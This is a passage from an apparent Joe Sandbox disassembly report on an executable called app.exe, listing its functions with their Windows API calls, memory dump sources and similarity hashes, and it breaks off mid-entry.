Function 0041111A Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

IntersectRect.USER32(?,00000000,?), ref: 0041114B
EqualRect.USER32(?,00000000), ref: 00411158
IsRectEmpty.USER32(?), ref: 00411162
InvalidateRect.USER32(?,?,?), ref: 0041117F

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Rect$EmptyEqualIntersectInvalidate
String ID:
API String ID: 3354205298-0
Opcode ID: b96f505ea3630a247bd448bdacb66984f0b113bced7556e7e02f6fbeb0dcfbd3
Instruction ID: 4fe3f08868a5226f7d3e4c173db8bd2c93613d59b8a0c76e427b94b244e74582
Opcode Fuzzy Hash: b96f505ea3630a247bd448bdacb66984f0b113bced7556e7e02f6fbeb0dcfbd3
Instruction Fuzzy Hash: 49010C71A0011AEBCF11DFA4DC48E9BB7BDFF09314F808472FA15D6110D275A51A8B64

Uniqueness

Uniqueness Score: -1.00%

Function 0042633E Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 00426360
LoadResource.KERNEL32(?,00000000,?,?,?,?,00422CD3,?,?,00401A10,?,?,?,?,?,0042DD38), ref: 0042636C
LockResource.KERNEL32(00000000,?,?,?,?,00422CD3,?,?,00401A10,?,?,?,?,?,0042DD38,000000FF), ref: 00426379
FreeResource.KERNEL32(00000000,?,?,?,?,00422CD3,?,?,00401A10,?,?,?,?,?,0042DD38,000000FF), ref: 00426394

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 4c303f29aad7c5551cea9d80b4e0defa102d9efb6e724846d62db9275e0aa396
Instruction ID: 76cf06ceb5d42f02d60e4406da92eb06dd1ed344124334fc899015a258015dc8
Opcode Fuzzy Hash: 4c303f29aad7c5551cea9d80b4e0defa102d9efb6e724846d62db9275e0aa396
Instruction Fuzzy Hash: 40F0F63A3012229B83205FA66C4497BB7ACEFC67627C6007AFD08C2211DF258C06857C

Uniqueness

Uniqueness Score: -1.00%

Function 004226AE Relevance: 6.0, APIs: 4, Instructions: 41windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 004226D9
GetFocus.USER32 ref: 004226EC
GetParent.USER32(?), ref: 004226FA
SendMessageA.USER32(?,00000028,00000000,00000000), ref: 0042270F

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: EnableFocusItemMenuMessageParentSend
String ID:
API String ID: 2297321873-0
Opcode ID: d719d4f1826348346d23ac329250c9ff44aabbd6e9454e1dd4734ed6490b57f8
Instruction ID: 617dea23d70acb73f8f92018a64976e9019581151da9ed12eae54fe0019a468e
Opcode Fuzzy Hash: d719d4f1826348346d23ac329250c9ff44aabbd6e9454e1dd4734ed6490b57f8
Instruction Fuzzy Hash: 0E015E31204610ABDB389F10ED49F56BBB0EF90755F90863EF142921E0CBB4A895CA48

Uniqueness

Uniqueness Score: -1.00%

Function 00428CB2 Relevance: 6.0, APIs: 4, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00428CCA
GetWindowTextA.USER32(?,?,00000100), ref: 00428CE6
lstrcmpA.KERNEL32(?,?), ref: 00428CFA
SetWindowTextA.USER32(?,?), ref: 00428D0A

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: e7043af6485233e72652ee463e779a3a2077c7ee8e68495221b17dea8af2fa28
Instruction ID: ab625cd30283d468c6a5a3a0154dbe0d4626f66796105f6a39e5641a5fe47872
Opcode Fuzzy Hash: e7043af6485233e72652ee463e779a3a2077c7ee8e68495221b17dea8af2fa28
Instruction Fuzzy Hash: 35F06D75600018EBCF21AF60ED449CE7BB9EF18358F808072F909D62A0DB74DE59DB48

Uniqueness

Uniqueness Score: -1.00%

Function 0042C0F6 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0042C118
GetTickCount.KERNEL32 ref: 0042C125
CoFreeUnusedLibraries.OLE32 ref: 0042C134
GetTickCount.KERNEL32 ref: 0042C13A

Part of subcall function 0042C09F: CoFreeUnusedLibraries.OLE32(00000000,0042C17F,00000000,?,?,004119DD), ref: 0042C0E3
Part of subcall function 0042C09F: OleUninitialize.OLE32(?,?,004119DD), ref: 0042C0E9

Memory Dump Source

Source File: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: b5874d32bad5070bf434eb1db7257aa41fe591bf19fa899e05926cb079051f1c
Instruction ID: fa01731afa84a5c76d3ef70e4e48df64ef66ba0b78331b06acedfa9e6f689827
Opcode Fuzzy Hash: b5874d32bad5070bf434eb1db7257aa41fe591bf19fa899e05926cb079051f1c
Instruction Fuzzy Hash: C9E0E534A04224DAE724AF74FC8932D7AA4EB56311FD1883BD041A2162C73858D5CE9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040309E Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

(1D, xrefs: 004030E9, 004031EC

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: DecrementInterlockedlstrlen
String ID: (1D
API String ID: 3894653158-2129874033
Opcode ID: bd28ca77c038792ffbe5868c204803e66c6c098a52fe2d6f0d143d211d85f30c
Instruction ID: 858d2aefe05a656e08fe5f4863ded23aa7559c905939fa8f8aa05e635d827225
Opcode Fuzzy Hash: bd28ca77c038792ffbe5868c204803e66c6c098a52fe2d6f0d143d211d85f30c
Instruction Fuzzy Hash: AEB14871C00119AEDB01EBE5CD86EEEBBB8AF19304F50416EF501B31D2DB785A09DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041084F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 004109E1

Strings

@, xrefs: 004108F6
@, xrefs: 004108A1

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ClearVariant
String ID: @$@
API String ID: 1473721057-149943524
Opcode ID: 54e3d7c58431ed1a8a2faafa339e1a674b98199fcfceda2c24aa9145b0b1d073
Instruction ID: 7d4217390c867d17d4dff42acfee68232351a7b4ec1a73aaeb500dadfbc22095
Opcode Fuzzy Hash: 54e3d7c58431ed1a8a2faafa339e1a674b98199fcfceda2c24aa9145b0b1d073
Instruction Fuzzy Hash: 8C51A6B1A002199FDB04CF99C8849EEBBF5FF48314F14456EE506E7251E774A945CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00417BB3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00417BD2

Strings

, xrefs: 00417BF9
, xrefs: 00417C20

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: ea25d807aac96f0c9d0dd241a4ad9b12794653fbfb175f80958580c13e1a6fab
Instruction ID: 25a5130d2be980f96d16b4b058943b934398b817a05338b1aaa33722a9e7f48b
Opcode Fuzzy Hash: ea25d807aac96f0c9d0dd241a4ad9b12794653fbfb175f80958580c13e1a6fab
Instruction Fuzzy Hash: FD41563110929C9FEB519B28DC99BFB3BF8EF06304F2808E2D545CB192D72849C59BD8

Uniqueness

Uniqueness Score: -1.00%

Function 004038D9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000104), ref: 004038F6

Part of subcall function 00401FE9: lstrlenA.KERNEL32(?,?,?,?,00402E72,?), ref: 00402008

CharLowerA.USER32(?,?,00000004,?), ref: 00403924

Part of subcall function 00402C6D: MessageBoxA.USER32(00000000,?,00000000,00000030), ref: 00402D19

Strings

.dll, xrefs: 0040392A

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CharFileLowerMessageModuleNamelstrlen
String ID: .dll
API String ID: 1366549216-2738580789
Opcode ID: ed755644410f0a6ee9be1c8b2e18ebcf4b444024a13bcd5a83e04fb954c330c4
Instruction ID: e925d1146906c940dbfae2266fa14a7952d3259283bc435cb66516965c737666
Opcode Fuzzy Hash: ed755644410f0a6ee9be1c8b2e18ebcf4b444024a13bcd5a83e04fb954c330c4
Instruction Fuzzy Hash: 50319372A041195BDB15BBA19D42EEF375C6F00709F60013BF911B21E2DE7C9A05869D

Uniqueness

Uniqueness Score: -1.00%

Function 00403FCF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000104,?), ref: 00403FF6

Part of subcall function 00401FE9: lstrlenA.KERNEL32(?,?,?,?,00402E72,?), ref: 00402008

CharLowerA.USER32(?,?,00000004,?), ref: 0040402F

Part of subcall function 00402C6D: MessageBoxA.USER32(00000000,?,00000000,00000030), ref: 00402D19

Strings

.dll, xrefs: 00404035

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CharFileLowerMessageModuleNamelstrlen
String ID: .dll
API String ID: 1366549216-2738580789
Opcode ID: 7ee78063d823e0c6d8b8f1480ed479fa6a1540bc085ae308c9012322817352e7
Instruction ID: e6b5aef0d27c6589e7d05cc20d88ea959a984bc3c2dd37e4e74a46bfd1a24eba
Opcode Fuzzy Hash: 7ee78063d823e0c6d8b8f1480ed479fa6a1540bc085ae308c9012322817352e7
Instruction Fuzzy Hash: DC31A2B1900109ABDB11EBE1D942AEEB778EF15319F10403FF215F21D1EB784A08CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403A0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000104,?), ref: 00403A31

Part of subcall function 00401FE9: lstrlenA.KERNEL32(?,?,?,?,00402E72,?), ref: 00402008

CharLowerA.USER32(?,?,00000004,?), ref: 00403A67

Part of subcall function 00402C6D: MessageBoxA.USER32(00000000,?,00000000,00000030), ref: 00402D19

Strings

.dll, xrefs: 00403A6D

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CharFileLowerMessageModuleNamelstrlen
String ID: .dll
API String ID: 1366549216-2738580789
Opcode ID: bb160a83ece6b52ad72d685bd7d2f3ba3769fc739be267bbfaec33bc36789f92
Instruction ID: 1cad220353df42b9fe3cb840776f885c9a0654f48a55dcbb27447a2c56b74ffd
Opcode Fuzzy Hash: bb160a83ece6b52ad72d685bd7d2f3ba3769fc739be267bbfaec33bc36789f92
Instruction Fuzzy Hash: 7A219231A00119AADB15FBA1DD47BEEBB68AF11709F10013BF501B10E2DBB95B058AA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD08 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\app.exe,00000104,76170A60,00000000,?,?,?,?,00415EFD,?,0043A478,00000060), ref: 0041AD32

Strings

C:\Users\user\Desktop\app.exe, xrefs: 0041AD2B, 0041AD30
`&U, xrefs: 0041AD38

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FileModuleName
String ID: C:\Users\user\Desktop\app.exe$`&U
API String ID: 514040917-459890222
Opcode ID: 66673b88aeac30b5862c7f19f0dfac2f7032082bc53584202ad8921e1cff1ff6
Instruction ID: 614c3b4fec6d9241ade8c6b785d03dc512eb996b59ee3b151466fb442cd8355e
Opcode Fuzzy Hash: 66673b88aeac30b5862c7f19f0dfac2f7032082bc53584202ad8921e1cff1ff6
Instruction Fuzzy Hash: 7711E3B6A05204AFDB11CBA5AC819DB3BB8EB56361B10017BF905D3241DB74AD84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B4CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001100,00000000,00000000), ref: 0040B4ED
LocalFree.KERNEL32(?), ref: 0040B509

Strings

%s: %s, xrefs: 0040B4F9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: %s: %s
API String ID: 1427518018-482213395
Opcode ID: cb34f2c211801dad6e02dc7f0dafd164b821e9fb1e5606d2b24e1b197d6c7187
Instruction ID: 35399d86799f3bd421e0b29904ac2acc2a0d57492efff96d11af9728831ada6b
Opcode Fuzzy Hash: cb34f2c211801dad6e02dc7f0dafd164b821e9fb1e5606d2b24e1b197d6c7187
Instruction Fuzzy Hash: A1E04F75680208FBEB115BC0ED07FDE7B38EB09745F600070FB00A80E1D6B26A14AB6D

Uniqueness

Uniqueness Score: -1.00%

Function 025E2746 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 025E2746
GetCommandLineW.KERNEL32 ref: 025E2751

Strings

`&U, xrefs: 025E274C

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: CommandLine
String ID: `&U
API String ID: 3253501508-1867068525
Opcode ID: 4c608e21066b1068bf4b00fd84b95a229c866aa5cf7fac5f33b6db2afda0b2ee
Instruction ID: 9b6fa4ce475a429c964bbaf9ce9b9551184bf7d98fd8d02fc75588487da086c5
Opcode Fuzzy Hash: 4c608e21066b1068bf4b00fd84b95a229c866aa5cf7fac5f33b6db2afda0b2ee
Instruction Fuzzy Hash: 25B048B8C84784CB87918F71A008A083AA5B2692027816D96DA2AD2605EB350069EF18

Uniqueness

Uniqueness Score: -1.00%

Function 025CA3F0 Relevance: 5.2, APIs: 4, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025CA710: CloseHandle.KERNEL32(?), ref: 025CA7A6

HeapFree.KERNEL32(00000000,00000000), ref: 025CA5D0
HeapFree.KERNEL32(00000000,?), ref: 025CA5E1
HeapFree.KERNEL32(00000000,00000000), ref: 025CA615
HeapFree.KERNEL32(00000000,?), ref: 025CA626

Part of subcall function 025CA710: FindFirstFileW.KERNEL32(?,?), ref: 025CA8CD
Part of subcall function 025CA710: FindClose.KERNEL32(00000000), ref: 025CA8E0
Part of subcall function 025CA710: HeapFree.KERNEL32(00000000,?), ref: 025CA9F0
Part of subcall function 025CA710: HeapFree.KERNEL32(00000000,?), ref: 025CAA01

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseFind$FileFirstHandle
String ID:
API String ID: 1603849924-0
Opcode ID: 7fd60108e3c947f17cccde0a06f2134368e38086809399791bed0c3c0b48279c
Instruction ID: 712f54dca6fc1064811da65585a35cc72d91f4df87e7249ebb2d101455728b9f
Opcode Fuzzy Hash: 7fd60108e3c947f17cccde0a06f2134368e38086809399791bed0c3c0b48279c
Instruction Fuzzy Hash: 68711675904B44CFE721CF68C944B52BBF0FF18318F109A5DE99A8BA62E731B984CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0258204D Relevance: 5.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0258224A: HeapFree.KERNEL32(00000000,?), ref: 025822AD
Part of subcall function 0258224A: HeapFree.KERNEL32(00000000,?), ref: 025822C7

HeapFree.KERNEL32(00000000,?), ref: 02582137
